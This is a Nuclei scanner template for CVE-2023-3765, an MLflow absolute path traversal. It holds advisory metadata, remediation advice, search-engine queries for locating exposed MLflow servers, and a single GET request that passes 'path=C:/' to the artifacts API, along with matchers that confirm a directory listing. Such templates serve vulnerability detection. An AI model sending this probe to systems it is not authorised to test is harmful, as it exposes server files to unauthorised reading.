id: CVE-2023-3765

info:
  name: MLflow Absolute Path Traversal
  author: DhiyaneshDK
  severity: critical
  description: |
    Absolute Path Traversal in GitHub repository mlflow/mlflow prior to 2.5.0.
  impact: |
    This vulnerability can lead to unauthorized access to sensitive information stored on the server.
  remediation: |
    Upgrade to a patched version of MLflow to mitigate the Absolute Path Traversal vulnerability.
  reference:
    - https://www.tenable.com/cve/CVE-2023-3765
    - https://huntr.dev/bounties/4be5fd63-8a0a-490d-9ee1-f33dc768ed76
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3765
    - https://github.com/mlflow/mlflow/commit/6dde93758d42455cb90ef324407919ed67668b9b
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2023-3765
    cwe-id: CWE-36
    epss-score: 0.91453
    epss-percentile: 0.99677
    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: lfprojects
    product: mlflow
    shodan-query: http.title:"mlflow"
    fofa-query:
      - title="mlflow"
      - app="mlflow"
    google-query: intitle:"mlflow"
  tags: cve2023,cve,mflow,lfi,huntr,lfprojects,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/ajax-api/2.0/mlflow-artifacts/artifacts?path=C:/"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"is_dir":'
          - '"path":'
          - '"files":'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210088a174bde44dedf77b95b1129b496ed8509421bc3d8c51d24a58c4f6443c6e7c022100959a2bad419a06cb4f0c4581c753edb742fe8a99be434b1f50a8b9bc28532855:922c64590222798bb761d5b6d8e72950